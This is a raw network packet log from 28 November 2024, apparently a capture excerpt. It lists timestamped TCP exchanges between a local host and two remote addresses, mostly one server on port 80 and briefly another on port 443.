Nov 28, 2024 06:48:08.251687050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.252566099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.252615929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.252650023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.252695084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.253551960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.253606081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.253654003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.253696918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.254565001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.254611015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.254671097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.254717112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.255563974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.255609989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.255661964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.255703926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.256608009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.256656885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.256716967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.256767035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.257589102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.257637024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.257652044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.257689953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.258580923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.258630991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.258657932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.258701086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.259603024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.259649038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.259665012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.259710073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.260587931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.260634899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.260694027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.260740995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.261599064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.261647940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.261708975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.261756897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.262643099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.262693882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.262716055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.262763023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.263622046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.263669014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.263722897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.263767958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.264612913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.264663935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.264714956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.264758110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.265676022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.265727043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.265760899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.265806913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.266627073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.266678095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.266696930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.266742945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.267642021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.267694950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.267760038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.267807961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.268652916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.268703938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.335402012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.335485935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.335499048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.335566044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.335844040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.335921049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.335948944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.336004972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.336782932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.336833954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.336879969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.336930990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.337730885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.337786913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.337842941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.337891102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.338680029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.338722944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.338812113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.338859081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.339627981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.339678049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.339788914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.339838028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.340539932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.340595007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.340646982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.340693951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.341490984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.341545105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.341584921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.341630936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.342400074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.342453957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.342520952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.342566967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.343336105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.343388081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.343465090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.343512058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.344289064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.344342947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.344415903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.344461918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.345227957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.345288038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.345345974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.345398903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.346271992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.346326113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.346353054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.346395016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.347114086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.347165108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.373245955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.373322964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.373352051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.373404980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.373725891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.373779058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.373812914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.373851061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.374694109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.374742985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.374758959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.374804020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.375586987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.375633955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.375689030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.375736952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.376571894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.376624107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.376688004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.376734018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.377463102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.377533913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.377563000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.377609015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.378407001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.378454924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.378505945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.378550053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.379350901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.379400015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.379462957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.379508972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.380353928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.380398035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.380474091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.380518913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.381563902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.381613016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.381627083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.381675005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.382261992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.382309914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.382364988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.382411003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.383270025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.383331060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.383388042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.383435965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.384107113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.384155035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.384181976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.384228945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.385019064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.385066986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.385139942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.385189056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.385929108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.385977030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.386035919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.386080027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.386864901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.386912107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.386986971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.387033939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.387831926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.387885094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.387885094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.387923956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.447681904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.447724104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.447774887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.447798014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.448092937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.448158979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.448210001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.448254108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.449026108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.449070930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.449376106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.449417114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.449472904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.449534893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.450340986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.450385094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.450388908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.450498104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.451307058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.451354027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.451384068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.451437950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.452217102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.452261925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.452307940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.452352047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.453140020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.453188896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.453243971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.453290939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.454086065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.454133034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.454204082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.454252005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.455029011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.455075979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.455127954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.455173969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.455969095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.456022978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.456027985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.456077099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.456940889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.457000017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.457078934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.457128048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.457860947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.457916021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.457973003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.458020926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.458806992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.458868027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.458897114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.458937883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.459739923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.459790945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.459827900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.459873915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.460654974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.460704088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.460757017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.460808992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.461600065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.461642027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.461694002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.461739063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.462553978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.462614059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.462660074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.462708950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.463485003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.463543892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.463582993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.463629961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.464421034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.464478016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.464507103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.464555979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.465353012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.465409994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.465450048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.465497017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.466291904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.466351032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.466387987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.466437101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.467233896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.467303991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.467349052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.467398882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.468164921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.468219042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.468249083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.468292952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.536725044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.536815882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.536854029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.536883116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.537163973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.537210941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.537231922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.537276983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.538079023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.538126945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.538193941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.538239956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.539026976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.539073944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.539113998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.539160967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.539968967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.540025949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.540083885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.540126085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.540920019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.540966988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.541023970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.541069031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.541843891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.541898012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.541918993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.541963100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.542800903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.542850018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.542907953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.542953968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.543735027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.543782949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.543818951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.543864965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.544739008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.544787884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.544826031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.544872999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.545624971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.545676947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.545723915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.545770884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.546540022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.546590090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:08.546647072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:08.546694994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:09.735759974 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:09.735807896 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:09.735860109 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:09.736053944 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:09.736068010 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.028017044 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.028034925 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.028297901 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.028614044 CET	49712	443	192.168.2.5	142.250.181.100
